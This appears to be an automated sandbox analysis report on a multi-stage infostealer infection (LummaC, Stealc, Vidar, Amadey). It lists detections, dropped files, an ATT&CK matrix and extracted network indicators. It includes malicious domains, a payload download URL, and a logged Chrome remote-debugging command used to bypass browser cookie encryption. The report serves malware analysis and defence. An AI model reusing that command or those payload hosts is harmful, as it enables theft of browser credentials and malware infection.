Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ

Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Directory queried: number of queries: 1001
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Directory queried: number of queries: 2002
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Directory queried: number of queries: 1001

Source: Yara match	File source: 00000022.00000003.3404178194.00000000010ED000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2750094261.00000000036D5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2715417561.00000000036CF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2745554337.00000000036CF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 03f60c0f6e.exe PID: 2688, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"

Yara detected LummaC Stealer

Source: Yara match

File source: Process Memory Space: 03f60c0f6e.exe PID: 2688, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000026.00000003.3162743621.00000000052C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000003.3319476192.0000000004F20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Vidar stealer

Source: Yara match	File source: 18.0.3ca42ff3133e49daac5eafe0960f7af0.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.2763054192.0000000003AC4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2763054192.0000000003BE9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: c534667f0b.exe PID: 7536, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3ca42ff3133e49daac5eafe0960f7af0.exe PID: 6276, type: MEMORYSTR
Source: Yara match	File source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	2 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	51 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	2 Bypass User Account Control	11 Deobfuscate/Decode Files or Information	1 Credentials in Registry	22 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	1 Scheduled Task/Job	12 Process Injection	4 Obfuscated Files or Information	Security Account Manager	247 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	1 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	11 Registry Run Keys / Startup Folder	1 Timestomp	LSA Secrets	971 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	3 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Bypass User Account Control	DCSync	371 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	371 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 Remote System Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	55%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	58%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[5].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Avira	HEUR/AGEN.1320706
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[3].exe	100%	Avira	TR/ATRAPS.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[5].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[4].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[4].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[3].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[3].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	Virustotal		Browse
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	Virustotal		Browse
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	Virustotal		Browse
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	Virustotal		Browse
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[4].exe	55%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[5].exe	55%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	57%	ReversingLabs	ByteCode-MSIL.Trojan.Zilla
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[4].exe	63%	ReversingLabs	Win32.Ransomware.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[3].exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[4].exe	68%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	28%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	87%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[3].exe	18%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	28%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	57%	ReversingLabs	ByteCode-MSIL.Trojan.Zilla
C:\Users\user\AppData\Local\Temp\1019458001\906ea9c047.exe	87%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	47%	ReversingLabs	Win32.Trojan.Generic

Name	Malicious	Antivirus Detection	Reputation
aspecteirs.lat	true
energyaffai.lat	true
grannyejh.lat	true
necklacebudi.lat	true

URLs from Memory and Binaries

Name	Source	Malicious
https://duckduckgo.com/chrome_newtab	03f60c0f6e.exe, 00000009.00000003.2667307921.0000000003E61000.00000004.00000800.00020000.00000000.sdmp, 03f60c0f6e.exe, 00000009.00000003.2667431694.0000000003742000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133417982.000049E800C60000.00000004.00000800.00020000.00000000.sdmp	false
https://duckduckgo.com/ac/?q=	chrome.exe, 00000018.00000002.3133243949.000049E800C1C000.00000004.00000800.00020000.00000000.sdmp	false
https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing	chrome.exe, 00000018.00000002.3125556527.000049E8000A7000.00000004.00000800.00020000.00000000.sdmp	false
http://schemas.datacontract.org	22129f7e57cc4f01a77377b20bd0ace2.exe, 00000013.00000002.2832161094.000002472329E000.00000004.00000800.00020000.00000000.sdmp, 22129f7e57cc4f01a77377b20bd0ace2.exe, 00000013.00000002.2832161094.0000024722F6F000.00000004.00000800.00020000.00000000.sdmp	false
https://clients3.google.com/cast/chromecast/home/wallpaper/image?rt=b	chrome.exe, 00000018.00000002.3129875527.000049E800734000.00000004.00000800.00020000.00000000.sdmp	false
https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone	chrome.exe, 00000018.00000002.3130311422.000049E8007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3127828791.000049E80047C000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/4633	chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133067662.000049E800BD0000.00000004.00000800.00020000.00000000.sdmp	false
https://anglebug.com/7382	chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133067662.000049E800BD0000.00000004.00000800.00020000.00000000.sdmp	false
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	03f60c0f6e.exe, 00000009.00000003.2718485144.00000000036FA000.00000004.00000800.00020000.00000000.sdmp	false
https://clients3.google.com/cast/chromecast/home/wallpaper/collection-images?rt=bI	chrome.exe, 00000018.00000002.3131565199.000049E8009B0000.00000004.00000800.00020000.00000000.sdmp	false
https://issuetracker.google.com/284462263	chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp	false
https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhoneI	chrome.exe, 00000018.00000002.3127828791.000049E80047C000.00000004.00000800.00020000.00000000.sdmp	false
https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly	chrome.exe, 00000018.00000002.3127828791.000049E80047C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3130414749.000049E8007C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3130472970.000049E8007DC000.00000004.00000800.00020000.00000000.sdmp	false
https://crbug.com/368855.)	chrome.exe, 00000018.00000002.3126541904.000049E8002A8000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/6876z28	chrome.exe, 00000018.00000002.3133067662.000049E800BD0000.00000004.00000800.00020000.00000000.sdmp	false
https://docs.google.com/	chrome.exe, 00000018.00000003.2895383080.000049E800444000.00000004.00000800.00020000.00000000.sdmp	false
https://g.live.com/odclientsettings/Prod.C:	svchost.exe, 00000014.00000003.2773392925.0000017EE2CF6000.00000004.00000800.00020000.00000000.sdmp	false
https://photos.google.com/settings?referrer=CHROME_NTP	chrome.exe, 00000018.00000002.3131793818.000049E800A0C000.00000004.00000800.00020000.00000000.sdmp	false
https://anglebug.com/7714	chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133067662.000049E800BD0000.00000004.00000800.00020000.00000000.sdmp	false
https://www.google.com/speech-api/v2/synthesize?	chrome.exe, 00000018.00000002.3126541904.000049E8002A8000.00000004.00000800.00020000.00000000.sdmp	false
http://defaultcontainer/StoreInstaller;component/Resources/Theme/Light.xaml	22129f7e57cc4f01a77377b20bd0ace2.exe, 00000013.00000002.2832161094.00000247231D5000.00000004.00000800.00020000.00000000.sdmp	false
http://unisolated.invalid/	chrome.exe, 00000018.00000002.3131565199.000049E8009B0000.00000004.00000800.00020000.00000000.sdmp	false
https://www.google.com/chrome/tips/	chrome.exe, 00000018.00000002.3126291628.000049E8001D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3131396696.000049E800960000.00000004.00000800.00020000.00000000.sdmp	false
https://nuget.org/nuget.exe	powershell.exe, 0000000C.00000002.2619196230.0000000005F05000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2669221073.0000000005DC5000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/6248	chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133067662.000049E800BD0000.00000004.00000800.00020000.00000000.sdmp	false
https://github.com/Urijas/moperats/raw/refs/heads/main/ktyihkdfesf.exe1	c534667f0b.exe, 0000000A.00000002.2755889265.0000000000CBF000.00000004.00000020.00020000.00000000.sdmp	false
http://anglebug.com/6929	chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133067662.000049E800BD0000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/2970I	chrome.exe, 00000018.00000002.3129128916.000049E800618000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/5281	chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133067662.000049E800BD0000.00000004.00000800.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	c534667f0b.exe, 0000000A.00000002.2759569441.0000000002A61000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2616123137.0000000004EA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2653782598.0000000004D61000.00000004.00000800.00020000.00000000.sdmp, 22129f7e57cc4f01a77377b20bd0ace2.exe, 00000013.00000002.2832161094.00000247230C7000.00000004.00000800.00020000.00000000.sdmp	false
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000014.00000003.2773392925.0000017EE2D62000.00000004.00000800.00020000.00000000.sdmp	false
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	03f60c0f6e.exe, 00000009.00000003.2718485144.00000000036FA000.00000004.00000800.00020000.00000000.sdmp	false
https://cdn.ecosia.org/assets/images/ico/favicon.icoue	chrome.exe, 00000018.00000002.3133243949.000049E800C1C000.00000004.00000800.00020000.00000000.sdmp	false
https://issuetracker.google.com/255411748	chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp	false
https://raw.githubusercontent.comD	c534667f0b.exe, 0000000A.00000002.2759569441.0000000002BA6000.00000004.00000800.00020000.00000000.sdmp	false
https://docs.google.com/document/u/0/create?usp=chrome_actions	chrome.exe, 00000018.00000002.3127828791.000049E80047C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3130414749.000049E8007C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3130472970.000049E8007DC000.00000004.00000800.00020000.00000000.sdmp	false
https://anglebug.com/7246	chrome.exe, 00000018.00000002.3129404925.000049E80069C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp	false
https://anglebug.com/7369	chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133067662.000049E800BD0000.00000004.00000800.00020000.00000000.sdmp	false
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000F.00000002.2653782598.0000000004EB5000.00000004.00000800.00020000.00000000.sdmp	false
https://anglebug.com/7489	chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133067662.000049E800BD0000.00000004.00000800.00020000.00000000.sdmp	false
https://duckduckgo.com/?q=	chrome.exe, 00000018.00000002.3131455883.000049E800980000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133417982.000049E800C60000.00000004.00000800.00020000.00000000.sdmp	false
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000F.00000002.2653782598.0000000004EB5000.00000004.00000800.00020000.00000000.sdmp	false
https://chrome.google.com/webstore	chrome.exe, 00000018.00000003.2919087349.000049E800D34000.00000004.00000800.00020000.00000000.sdmp	false
https://drive-daily-2.corp.google.com/	chrome.exe, 00000018.00000003.2895383080.000049E800444000.00000004.00000800.00020000.00000000.sdmp	false
https://contoso.com/Icon	powershell.exe, 0000000F.00000002.2669221073.0000000005DC5000.00000004.00000800.00020000.00000000.sdmp	false
https://cdn.ecosia.org/assets/images/ico/favicon.ico	chrome.exe, 00000018.00000002.3133243949.000049E800C1C000.00000004.00000800.00020000.00000000.sdmp	false
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	03f60c0f6e.exe, 00000009.00000003.2667307921.0000000003E61000.00000004.00000800.00020000.00000000.sdmp, 03f60c0f6e.exe, 00000009.00000003.2667431694.0000000003742000.00000004.00000800.00020000.00000000.sdmp	false
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	03f60c0f6e.exe, 00000009.00000003.2718485144.00000000036FA000.00000004.00000800.00020000.00000000.sdmp	false
https://t.me/k04aelm0nk3Mozilla/5.0	3ca42ff3133e49daac5eafe0960f7af0.exe, 00000012.00000000.2752978754.0000000000423000.00000008.00000001.01000000.00000010.sdmp	false
https://treehoneyi.click/s	03f60c0f6e.exe, 00000009.00000003.2800282585.00000000036F4000.00000004.00000800.00020000.00000000.sdmp, 03f60c0f6e.exe, 00000009.00000003.2775612086.00000000036F4000.00000004.00000800.00020000.00000000.sdmp	false
http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv17	0016128732.exe, 00000007.00000003.2452688140.00000000077B6000.00000004.00001000.00020000.00000000.sdmp	false
http://ocsp.rootca1.amazontrust.com0:	03f60c0f6e.exe, 00000009.00000003.2716293262.0000000003734000.00000004.00000800.00020000.00000000.sdmp	false
https://issuetracker.google.com/161903006	chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp	false
https://www.ecosia.org/newtab/	03f60c0f6e.exe, 00000009.00000003.2667307921.0000000003E61000.00000004.00000800.00020000.00000000.sdmp, 03f60c0f6e.exe, 00000009.00000003.2667431694.0000000003742000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133067662.000049E800BD0000.00000004.00000800.00020000.00000000.sdmp	false
